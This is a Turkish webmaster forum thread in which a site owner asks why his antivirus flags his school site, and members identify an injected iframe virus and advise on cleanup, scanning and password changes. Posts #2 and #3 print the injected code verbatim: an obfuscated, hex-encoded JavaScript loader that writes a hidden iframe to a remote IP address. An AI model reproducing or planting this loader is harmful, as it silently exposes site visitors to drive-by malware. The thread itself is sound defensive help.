Sitemde Trojen Var :S

EliKaPs · #1 (**permalink**) 01-02-2008, 11:56:13

Arkadaşlar Siteme Girince Antivirüs Uyarı Veriyor Trojen Sanırsam Bu Nasıl Oluştu Anlamadım :S Yardımlarınızı Bekliyorum.

Site : . : : Atatürk Anadolu Teknik , Teknik ve Endüstri Meslek Lisesi Öğrenci Destek Sitesidir : : . -

Caps :

**TrueLove** · #2 (**permalink**) 01-02-2008, 11:58:55

Alttaki koddan olabilir mi?

HTML Code:

 <iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v479aad40661eb(v479aad40669e0){ function v479aad40671d8 () {return 16;} return(parseInt(v479aad40669e0,v479aad40671d8()));}function v479aad4067dcc(v479aad40681d2){ function v479aad4068dbc () {return 2;} var v479aad40685c3='';for(v479aad40689bf=0; v479aad40689bf<v479aad40681d2.length; v479aad40689bf+=v479aad4068dbc()){ v479aad40685c3+=(String.fromCharCode(v479aad40661eb(v479aad40681d2.substr(v479aad40689bf, v479aad4068dbc()))));}return v479aad40685c3;} document.write(v479aad4067dcc('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D393661363961633661363866207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3133393434292B27616231645C272077696474683D3833206865696768743D313638207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>

EliKaPs · #3 (**permalink**) 01-02-2008, 12:00:47

Alıntı:

TrueLove´isimli üyeden Alıntı

Alttaki koddan olabilir mi?

HTML Code:

 <iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v479aad40661eb(v479aad40669e0){ function v479aad40671d8 () {return 16;} return(parseInt(v479aad40669e0,v479aad40671d8()));}function v479aad4067dcc(v479aad40681d2){ function v479aad4068dbc () {return 2;} var v479aad40685c3='';for(v479aad40689bf=0; v479aad40689bf<v479aad40681d2.length; v479aad40689bf+=v479aad4068dbc()){ v479aad40685c3+=(String.fromCharCode(v479aad40661eb(v479aad40681d2.substr(v479aad40689bf, v479aad4068dbc()))));}return v479aad40685c3;} document.write(v479aad4067dcc('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D393661363961633661363866207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3133393434292B27616231645C272077696474683D3833206865696768743D313638207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>

Baktım Ama Kodu Bulamıyorum :S Kendimde Eklemedim

**Cioo** · #4 (**permalink**) 01-02-2008, 12:05:12

Alıntı:

EliKaPs´isimli üyeden Alıntı

Baktım Ama Kodu Bulamıyorum :S Kendimde Eklemedim

O kodu bul,sil büyük ihtimalle pcne virüs girmiş ve otomotik eklemiştir.Adaware türü spy programıylada tarat pcyii.

Yasin21 · #5 (**permalink**) 01-02-2008, 12:40:40

Alıntı:

EliKaPs´isimli üyeden Alıntı

Baktım Ama Kodu Bulamıyorum :S Kendimde Eklemedim

otomatik olarak eklenmiş olarabilir... CTRL + F ile bul sil

CTDeadbone · #6 (**permalink**) 01-02-2008, 13:03:49

daha çok index.php login.php index.html gibi dosyalara ekleniyo en alttadır.

yasarkemaldag · #7 (**permalink**) 01-02-2008, 13:14:58

sitenizin dosyalarını temizleri ile değiştirin düzelir.

bildiğimiz iframe virüsü bu.

CashAsiq · #8 (**permalink**) 01-02-2008, 13:19:07

1- Bu Kod Nedir = Bir Cesit Downloader internet explorer 5.0 ve bazi tarayicilarda
calisir.
2-Ne is Yapar = İstenilen Dosyayi (Ozellikler Server Exeleri) Sistemde Calistirir.

Keylogger Ozelligi Gorur bilgilerini Calar En Kotusu Olanida Pcni Zombie Donusturebilir Yani bir cesit botnet Ayaklarindan Biri Olursun

3- Nasi Kurtulucam = Server Loglarina Bak + pc nİ Avg yahut NOD32 tAM olarak guncelleştirilmis halleri ile tarat . farklı pc den ftp paslarini mail paslarini vs değiş. ( bana sorarsan direk format at).

4-Eğer PcnDe Bankacilik İslemleri Yapiyorsan SOn Yapilan islemleri takip altina aldir

5- Format attiktan sonra pc ne opera yahut mozilla + no script addonu yukle

6- Windows Guncelleştirmelerine Cok Dikkat Et

7-Server Guvenlinin iyi olduna servera girip direk server uzerinden bu kodun yerleştirilmedini anladin zaman da sorun cozulecektir.

8- İnternet explorer Kullanma

EliKaPs · #9 (**permalink**) 01-02-2008, 17:20:24

Yardımlarınız İçin Sağolun Server'ı Tarattırıyım

Şuan Bende Sorun Gözükmüyor Pc'yi Güncelleyip , Tarattım.

CashAsiq · #10 (**permalink**) 01-02-2008, 18:07:53

Alıntı:

EliKaPs´isimli üyeden Alıntı

Yardımlarınız İçin Sağolun Server'ı Tarattırıyım

Şuan Bende Sorun Gözükmüyor Pc'yi Güncelleyip , Tarattım.

UnDetect Yani Antivirüsler Tarafindan Taninmayan Bir Trojan İse

baslat > calisitra > cmd yaz

sonrasinda ekrana > netstat -an yaz

Karsina cikan iplerden ESTABLISHED olan ipleri sec cıkar ve tek tek kontrol et
kime nereye ait die.

Okuduğunuz Konuya Benzer Konular
Konu	Konuyu Açan	Forum	Cevaplar	Son Mesaj
Windows Hata Kodları	odin	işletim Sistemleri	8	21-11-2007 11:00:02
arkadaşlar sitemde virüs var acil	K.a.a.N	Vbulletin	7	06-08-2007 22:08:37
P4 2.4 1 Gb ram 110 ytl ! Dual Xeon 175 ytl !	ronin	Dedicated & Co-Location	3	03-07-2007 01:12:08
Böyle bişey yapabilirmiyiz veya varmı?	xfatihx	Webmaster Genel konular sorunlar	6	27-04-2006 22:37:15

Konuyu Toplam 1 üye okuyor. (0 Kayıtlı üye ve 1 Misafir)

Konu Seçenekleri
Yazdırılabilir Sümü Göster Sayfayı E-Mail'le gönder